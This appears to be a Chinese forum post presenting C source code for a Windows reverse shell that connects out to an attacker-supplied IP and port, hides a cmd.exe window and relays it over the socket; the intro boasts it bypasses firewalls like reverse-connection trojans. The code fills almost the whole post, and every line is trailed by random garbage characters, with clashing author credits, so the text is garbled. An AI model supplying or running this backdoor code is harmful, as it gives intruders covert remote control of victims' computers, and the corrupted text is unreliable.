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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 c]=2>ov)hR  
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/* ============================== MNT~[Z9L5G  
Rebound port in Windows NT h8rW"8Th  
By wind,2006/7 !, 4ag1  
===============================*/ jX53 owZ  
#include [^H2'&]  
#include xn8K OwX%  
F_-Lu]*  
#pragma comment(lib,"wsock32.lib") j!;LN)s@?  
3f;=#|l  
void OutputShell(); <,d550GSm  
SOCKET sClient; 37AVk`a  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7]{g^g.9-  
9+.wj/75  
void main(int argc,char **argv) D0. )%  
{ %E?Srs}j  
WSADATA stWsaData; Vns3859$8  
int nRet; N(/)e  
SOCKADDR_IN stSaiClient,stSaiServer; rTD+7 )E  
O"m7r ds  
if(argc != 3) wjarQog5Y  
{ MDMd$] CW  
printf("Useage:\n\rRebound DestIP DestPort\n"); Lx"GBEkt7  
return; q*!R4yE;C  
} )m%uSSx#  
%1z;l.c  
WSAStartup(MAKEWORD(2,2),&stWsaData); 'o$j~Mr  
Z:4/lx7Bq  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,GbmL8P7Y  
b UG,~\Z  
stSaiClient.sin_family = AF_INET; 0RR|!zEu  
stSaiClient.sin_port = htons(0); |OQ]F  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 8f@}-  
.?>Cav9:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) rb?7i&-  
{ <O#&D|EMd|  
printf("Bind Socket Failed!\n"); ^BsT>VSH6  
return; 1HJ: ?]  
} q? ,PFvs"  
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stSaiServer.sin_family = AF_INET; F%>$WN#2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  C=D*  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1ni+)p>]  
XcR=4q|7  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^'UM@dd?!  
{ 0b&# w  
printf("Connect Error!"); 'u,|*o  
return; wmVmGa R  
} Pk?$\  
OutputShell();  *7m lH  
} TG2#$Bq1  
y:G%p3h)[  
void OutputShell() m$0W^u  
{ EOPx 4+o  
char szBuff[1024]; ZR>BK,  
SECURITY_ATTRIBUTES stSecurityAttributes; V"Q\7,_k.  
OSVERSIONINFO stOsversionInfo; GT{4L]C  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 72HA.!ry  
STARTUPINFO stStartupInfo; D%SOX N  
char *szShell; #~0Nk6*u  
PROCESS_INFORMATION stProcessInformation; J}|X  
unsigned long lBytesRead; /$^Tou/v  
:X>Wd+lY:_  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |r9<aVlK  
LI,wSTVjC  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~Xi@#s~  
stSecurityAttributes.lpSecurityDescriptor = 0; @@d_F<Ym[  
stSecurityAttributes.bInheritHandle = TRUE; #UGSn:D<i  
1NYR8W]2  
VKa+[  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *d._H1zT  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); '%$Vmf)=  
2>z YJqG|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }YwaN'3p!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j^G=9r[,  
stStartupInfo.wShowWindow = SW_HIDE; >%/x~UFc5  
stStartupInfo.hStdInput = hReadPipe; :!gNOR6Lh  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; CmEqo;Is  
'g#%>  
GetVersionEx(&stOsversionInfo); )~2\4t4|g  
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switch(stOsversionInfo.dwPlatformId) @K;b7@4y  
{ `}X3f#eO&  
case 1: 5es t  
szShell = "command.com"; W"\~O"a  
break; 5xH=w:  
default: )&6gju7(  
szShell = "cmd.exe"; {Jn0G;  
break; /wD f,Hduz  
} bY_'B5$.^2  
C'R9Nn'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); jAJ='|[X\  
zB.cOMx  
send(sClient,szMsg,77,0); 3Z*r#d$nh:  
while(1) fA=Z):w  
{ 9QQ XB-  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Xv1vq -cM  
if(lBytesRead) m*^)#  
{ zt.k Nb  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); OqtGKda  
send(sClient,szBuff,lBytesRead,0); ^*.[b  
} Ai/X*y:[?  
else (\\;A?  
{ D4%J!L<P  
lBytesRead=recv(sClient,szBuff,1024,0); @3`5(xwzm  
if(lBytesRead<=0) break; =rKJJa N  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b.*LmSX#  
} c^}G=Z1@  
} .*zN@y3  
\Qml~?$@lH  
return; tYA@J["^  
}
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